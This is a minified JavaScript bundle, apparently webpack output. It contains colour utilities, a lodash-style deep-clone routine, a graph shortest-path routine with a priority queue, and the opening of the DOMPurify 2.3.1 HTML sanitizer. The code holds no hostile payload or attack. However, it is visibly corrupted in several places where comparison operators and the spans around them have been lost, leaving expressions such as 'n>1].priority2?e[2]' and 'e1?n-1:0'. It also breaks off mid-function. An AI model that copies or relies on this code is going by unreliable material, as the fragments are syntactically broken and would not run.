s=i.default.set({h:r.default.channel.clamp.h(t),s:r.default.channel.clamp.s(e),l:r.default.channel.clamp.l(n),a:r.default.channel.clamp.a(o)});return a.default.stringify(s)}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(29);e.default=function(t){return r.default(t,"a")}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(77);e.default=function(t){return r.default(t)>=.5}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(32);e.default=function(t,e){return r.default(t,"a",e)}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(32);e.default=function(t,e){return r.default(t,"a",-e)}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(6),i=n(53);e.default=function(t,e){var n=r.default.parse(t),a={};for(var o in e)e[o]&&(a[o]=n[o]+e[o]);return i.default(t,a)}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(6),i=n(52);e.default=function(t,e,n){void 0===n&&(n=50);var a=r.default.parse(t),o=a.r,s=a.g,c=a.b,u=a.a,l=r.default.parse(e),h=l.r,f=l.g,d=l.b,p=l.a,y=n/100,g=2*y-1,m=u-p,v=((g*m==-1?g:(g+m)/(1+g*m))+1)/2,b=1-v,x=o*v+h*b,_=s*v+f*b,k=c*v+d*b,w=u*y+p*(1-y);return i.default(x,_,k,w)}},function(t,e){},function(t,e,n){var r=n(54),i=n(81),a=n(59),o=n(234),s=n(240),c=n(114),u=n(115),l=n(243),h=n(244),f=n(119),d=n(245),p=n(42),y=n(249),g=n(250),m=n(124),v=n(5),b=n(41),x=n(254),_=n(14),k=n(256),w=n(30),T=n(35),E={};E["[object Arguments]"]=E["[object Array]"]=E["[object ArrayBuffer]"]=E["[object DataView]"]=E["[object Boolean]"]=E["[object Date]"]=E["[object Float32Array]"]=E["[object Float64Array]"]=E["[object Int8Array]"]=E["[object Int16Array]"]=E["[object Int32Array]"]=E["[object Map]"]=E["[object Number]"]=E["[object Object]"]=E["[object RegExp]"]=E["[object Set]"]=E["[object String]"]=E["[object Symbol]"]=E["[object Uint8Array]"]=E["[object Uint8ClampedArray]"]=E["[object Uint16Array]"]=E["[object Uint32Array]"]=!0,E["[object Error]"]=E["[object Function]"]=E["[object WeakMap]"]=!1,t.exports=function t(e,n,C,S,A,M){var O,N=1&n,B=2&n,D=4&n;if(C&&(O=A?C(e,S,A,M):C(e)),void 0!==O)return O;if(!_(e))return e;var L=v(e);if(L){if(O=y(e),!N)return u(e,O)}else{var I=p(e),R="[object Function]"==I||"[object GeneratorFunction]"==I;if(b(e))return c(e,N);if("[object Object]"==I||"[object Arguments]"==I||R&&!A){if(O=B||R?{}:m(e),!N)return B?h(e,s(O,e)):l(e,o(O,e))}else{if(!E[I])return A?e:{};O=g(e,I,N)}}M||(M=new r);var F=M.get(e);if(F)return F;M.set(e,O),k(e)?e.forEach((function(r){O.add(t(r,n,C,r,e,M))})):x(e)&&e.forEach((function(r,i){O.set(i,t(r,n,C,i,e,M))}));var P=L?void 0:(D?B?d:f:B?T:w)(e);return i(P||e,(function(r,i){P&&(r=e[i=r]),a(O,i,t(r,n,C,i,e,M))})),O}},function(t,e,n){(function(e){var n="object"==typeof e&&e&&e.Object===Object&&e;t.exports=n}).call(this,n(216))},function(t,e){var n=Function.prototype.toString;t.exports=function(t){if(null!=t){try{return n.call(t)}catch(t){}try{return t+""}catch(t){}}return""}},function(t,e,n){var r=n(33),i=function(){try{var t=r(Object,"defineProperty");return t({},"",{}),t}catch(t){}}();t.exports=i},function(t,e,n){var r=n(235),i=n(48),a=n(5),o=n(41),s=n(61),c=n(49),u=Object.prototype.hasOwnProperty;t.exports=function(t,e){var n=a(t),l=!n&&i(t),h=!n&&!l&&o(t),f=!n&&!l&&!h&&c(t),d=n||l||h||f,p=d?r(t.length,String):[],y=p.length;for(var g in t)!e&&!u.call(t,g)||d&&("length"==g||h&&("offset"==g||"parent"==g)||f&&("buffer"==g||"byteLength"==g||"byteOffset"==g)||s(g,y))||p.push(g);return p}},function(t,e){t.exports=function(t,e){return function(n){return t(e(n))}}},function(t,e,n){(function(t){var r=n(19),i=e&&!e.nodeType&&e,a=i&&"object"==typeof t&&t&&!t.nodeType&&t,o=a&&a.exports===i?r.Buffer:void 0,s=o?o.allocUnsafe:void 0;t.exports=function(t,e){if(e)return t.slice();var n=t.length,r=s?s(n):new t.constructor(n);return t.copy(r),r}}).call(this,n(7)(t))},function(t,e){t.exports=function(t,e){var n=-1,r=t.length;for(e||(e=Array(r));++nl))return!1;var f=c.get(t),d=c.get(e);if(f&&d)return f==e&&d==t;var p=-1,y=!0,g=2&n?new r:void 0;for(c.set(t,e),c.set(e,t);++p0&&(a=c.removeMin(),(o=s[a]).distance!==Number.POSITIVE_INFINITY);)r(a).forEach(u);return s}(t,String(e),n||a,r||function(e){return t.outEdges(e)})};var a=r.constant(1)},function(t,e,n){var r=n(13);function i(){this._arr=[],this._keyIndices={}}t.exports=i,i.prototype.size=function(){return this._arr.length},i.prototype.keys=function(){return this._arr.map((function(t){return t.key}))},i.prototype.has=function(t){return r.has(this._keyIndices,t)},i.prototype.priority=function(t){var e=this._keyIndices[t];if(void 0!==e)return this._arr[e].priority},i.prototype.min=function(){if(0===this.size())throw new Error("Queue underflow");return this._arr[0].key},i.prototype.add=function(t,e){var n=this._keyIndices;if(t=String(t),!r.has(n,t)){var i=this._arr,a=i.length;return n[t]=a,i.push({key:t,priority:e}),this._decrease(a),!0}return!1},i.prototype.removeMin=function(){this._swap(0,this._arr.length-1);var t=this._arr.pop();return delete this._keyIndices[t.key],this._heapify(0),t.key},i.prototype.decrease=function(t,e){var n=this._keyIndices[t];if(e>this._arr[n].priority)throw new Error("New priority is greater than current priority. Key: "+t+" Old: "+this._arr[n].priority+" New: "+e);this._arr[n].priority=e,this._decrease(n)},i.prototype._heapify=function(t){var e=this._arr,n=2*t,r=n+1,i=t;n>1].priority2?e[2]:void 0;for(u&&a(e[0],e[1],u)&&(r=1);++n1&&o.sort((function(t,e){var r=t.x-n.x,i=t.y-n.y,a=Math.sqrt(r*r+i*i),o=e.x-n.x,s=e.y-n.y,c=Math.sqrt(o*o+s*s);return aMath.abs(o)*u?(s<0&&(u=-u),n=0===s?0:u*o/s,r=u):(o<0&&(c=-c),n=c,r=0===o?0:c*s/o);return{x:i+n,y:a+r}}},function(t,e,n){ +/*! @license DOMPurify 2.3.1 | (c) Cure53 and other contributors | Released under the Apache license 2.0 and Mozilla Public License 2.0 | github.com/cure53/DOMPurify/blob/2.3.1/LICENSE */ +t.exports=function(){"use strict";var t=Object.hasOwnProperty,e=Object.setPrototypeOf,n=Object.isFrozen,r=Object.getPrototypeOf,i=Object.getOwnPropertyDescriptor,a=Object.freeze,o=Object.seal,s=Object.create,c="undefined"!=typeof Reflect&&Reflect,u=c.apply,l=c.construct;u||(u=function(t,e,n){return t.apply(e,n)}),a||(a=function(t){return t}),o||(o=function(t){return t}),l||(l=function(t,e){return new(Function.prototype.bind.apply(t,[null].concat(function(t){if(Array.isArray(t)){for(var e=0,n=Array(t.length);e1?n-1:0),i=1;i/gm),j=o(/^data-[\-\w.\u00B7-\uFFFF]/),Y=o(/^aria-[\-\w]+$/),z=o(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|cid|xmpp):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i),U=o(/^(?:\w+script|data):/i),$=o(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g),q="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t};function W(t){if(Array.isArray(t)){for(var e=0,n=Array(t.length);e0&&void 0!==arguments[0]?arguments[0]:H(),n=function(e){return t(e)};if(n.version="2.3.1",n.removed=[],!e||!e.document||9!==e.document.nodeType)return n.isSupported=!1,n;var r=e.document,i=e.document,o=e.DocumentFragment,s=e.HTMLTemplateElement,c=e.Node,u=e.Element,l=e.NodeFilter,h=e.NamedNodeMap,k=void 0===h?e.NamedNodeMap||e.MozNamedAttrMap:h,G=e.Text,X=e.Comment,Z=e.DOMParser,K=e.trustedTypes,Q=u.prototype,J=E(Q,"cloneNode"),tt=E(Q,"nextSibling"),et=E(Q,"childNodes"),nt=E(Q,"parentNode");if("function"==typeof s){var rt=i.createElement("template");rt.content&&rt.content.ownerDocument&&(i=rt.content.ownerDocument)}var it=V(K,r),at=it&&Ft?it.createHTML(""):"",ot=i,st=ot.implementation,ct=ot.createNodeIterator,ut=ot.createDocumentFragment,lt=ot.getElementsByTagName,ht=r.importNode,ft={};try{ft=T(i).documentMode?i.documentMode:{}}catch(t){}var dt={};n.isSupported="function"==typeof nt&&st&&void 0!==st.createHTMLDocument&&9!==ft;var pt=F,yt=P,gt=j,mt=Y,vt=U,bt=$,xt=z,_t=null,kt=w({},[].concat(W(C),W(S),W(A),W(O),W(B))),wt=null,Tt=w({},[].concat(W(D),W(L),W(I),W(R))),Et=null,Ct=null,St=!0,At=!0,Mt=!1,Ot=!1,Nt=!1,Bt=!1,Dt=!1,Lt=!1,It=!1,Rt=!0,Ft=!1,Pt=!0,jt=!0,Yt=!1,zt={},Ut=null,$t=w({},["annotation-xml","audio","colgroup","desc","foreignobject","head","iframe","math","mi","mn","mo","ms","mtext","noembed","noframes","noscript","plaintext","script","style","svg","template","thead","title","video","xmp"]),qt=null,Wt=w({},["audio","video","img","source","image","track"]),Ht=null,Vt=w({},["alt","class","for","id","label","name","pattern","placeholder","role","summary","title","value","style","xmlns"]),Gt="http://www.w3.org/1998/Math/MathML",Xt="http://www.w3.org/2000/svg",Zt="http://www.w3.org/1999/xhtml",Kt=Zt,Qt=!1,Jt=null,te=i.createElement("form"),ee=function(t){Jt&&Jt===t||(t&&"object"===(void 0===t?"undefined":q(t))||(t={}),t=T(t),_t="ALLOWED_TAGS"in t?w({},t.ALLOWED_TAGS):kt,wt="ALLOWED_ATTR"in t?w({},t.ALLOWED_ATTR):Tt,Ht="ADD_URI_SAFE_ATTR"in t?w(T(Vt),t.ADD_URI_SAFE_ATTR):Vt,qt="ADD_DATA_URI_TAGS"in t?w(T(Wt),t.ADD_DATA_URI_TAGS):Wt,Ut="FORBID_CONTENTS"in t?w({},t.FORBID_CONTENTS):$t,Et="FORBID_TAGS"in t?w({},t.FORBID_TAGS):{},Ct="FORBID_ATTR"in t?w({},t.FORBID_ATTR):{},zt="USE_PROFILES"in t&&t.USE_PROFILES,St=!1!==t.ALLOW_ARIA_ATTR,At=!1!==t.ALLOW_DATA_ATTR,Mt=t.ALLOW_UNKNOWN_PROTOCOLS||!1,Ot=t.SAFE_FOR_TEMPLATES||!1,Nt=t.WHOLE_DOCUMENT||!1,Lt=t.RETURN_DOM||!1,It=t.RETURN_DOM_FRAGMENT||!1,Rt=!1!==t.RETURN_DOM_IMPORT,Ft=t.RETURN_TRUSTED_TYPE||!1,Dt=t.FORCE_BODY||!1,Pt=!1!==t.SANITIZE_DOM,jt=!1!==t.KEEP_CONTENT,Yt=t.IN_PLACE||!1,xt=t.ALLOWED_URI_REGEXP||xt,Kt=t.NAMESPACE||Zt,Ot&&(At=!1),It&&(Lt=!0),zt&&(_t=w({},[].concat(W(B))),wt=[],!0===zt.html&&(w(_t,C),w(wt,D)),!0===zt.svg&&(w(_t,S),w(wt,L),w(wt,R)),!0===zt.svgFilters&&(w(_t,A),w(wt,L),w(wt,R)),!0===zt.mathMl&&(w(_t,O),w(wt,I),w(wt,R))),t.ADD_TAGS&&(_t===kt&&(_t=T(_t)),w(_t,t.ADD_TAGS)),t.ADD_ATTR&&(wt===Tt&&(wt=T(wt)),w(wt,t.ADD_ATTR)),t.ADD_URI_SAFE_ATTR&&w(Ht,t.ADD_URI_SAFE_ATTR),t.FORBID_CONTENTS&&(Ut===$t&&(Ut=T(Ut)),w(Ut,t.FORBID_CONTENTS)),jt&&(_t["#text"]=!0),Nt&&w(_t,["html","head","body"]),_t.table&&(w(_t,["tbody"]),delete Et.tbody),a&&a(t),Jt=t)},ne=w({},["mi","mo","mn","ms","mtext"]),re=w({},["foreignobject","desc","title","annotation-xml"]),ie=w({},S);w(ie,A),w(ie,M);var ae=w({},O);w(ae,N);var oe=function(t){var e=nt(t);e&&e.tagName||(e={namespaceURI:Zt,tagName:"template"});var n=y(t.tagName),r=y(e.tagName);if(t.namespaceURI===Xt)return e.namespaceURI===Zt?"svg"===n:e.namespaceURI===Gt?"svg"===n&&("annotation-xml"===r||ne[r]):Boolean(ie[n]);if(t.namespaceURI===Gt)return e.namespaceURI===Zt?"math"===n:e.namespaceURI===Xt?"math"===n&&re[r]:Boolean(ae[n]);if(t.namespaceURI===Zt){if(e.namespaceURI===Xt&&!re[r])return!1;if(e.namespaceURI===Gt&&!ne[r])return!1;var i=w({},["title","style","font","a","script"]);return!ae[n]&&(i[n]||!ie[n])}return!1},se=function(t){p(n.removed,{element:t});try{t.parentNode.removeChild(t)}catch(e){try{t.outerHTML=at}catch(e){t.remove()}}},ce=function(t,e){try{p(n.removed,{attribute:e.getAttributeNode(t),from:e})}catch(t){p(n.removed,{attribute:null,from:e})}if(e.removeAttribute(t),"is"===t&&!wt[t])if(Lt||It)try{se(e)}catch(t){}else try{e.setAttribute(t,"")}catch(t){}},ue=function(t){var e=void 0,n=void 0;if(Dt)t=""+t;else{var r=g(t,/^[\r\n\t ]+/);n=r&&r[0]}var a=it?it.createHTML(t):t;if(Kt===Zt)try{e=(new Z).parseFromString(a,"text/html")}catch(t){}if(!e||!e.documentElement){e=st.createDocument(Kt,"template",null);try{e.documentElement.innerHTML=Qt?"":a}catch(t){}}var o=e.body||e.documentElement;return t&&n&&o.insertBefore(i.createTextNode(n),o.childNodes[0]||null),Kt===Zt?lt.call(e,Nt?"html":"body")[0]:Nt?e.documentElement:o},le=function(t){return ct.call(t.ownerDocument||t,t,l.SHOW_ELEMENT|l.SHOW_COMMENT|l.SHOW_TEXT,null,!1)},he=function(t){return!(t instanceof G||t instanceof X||"string"==typeof t.nodeName&&"string"==typeof t.textContent&&"function"==typeof t.removeChild&&t.attributes instanceof k&&"function"==typeof t.removeAttribute&&"function"==typeof t.setAttribute&&"string"==typeof t.namespaceURI&&"function"==typeof t.insertBefore)},fe=function(t){return"object"===(void 0===c?"undefined":q(c))?t instanceof c:t&&"object"===(void 0===t?"undefined":q(t))&&"number"==typeof t.nodeType&&"string"==typeof t.nodeName},de=function(t,e,r){dt[t]&&f(dt[t],(function(t){t.call(n,e,r,Jt)}))},pe=function(t){var e=void 0;if(de("beforeSanitizeElements",t,null),he(t))return se(t),!0;if(g(t.nodeName,/[\u0080-\uFFFF]/))return se(t),!0;var r=y(t.nodeName);if(de("uponSanitizeElement",t,{tagName:r,allowedTags:_t}),!fe(t.firstElementChild)&&(!fe(t.content)||!fe(t.content.firstElementChild))&&x(/<[/\w]/g,t.innerHTML)&&x(/<[/\w]/g,t.textContent))return se(t),!0;if("select"===r&&x(/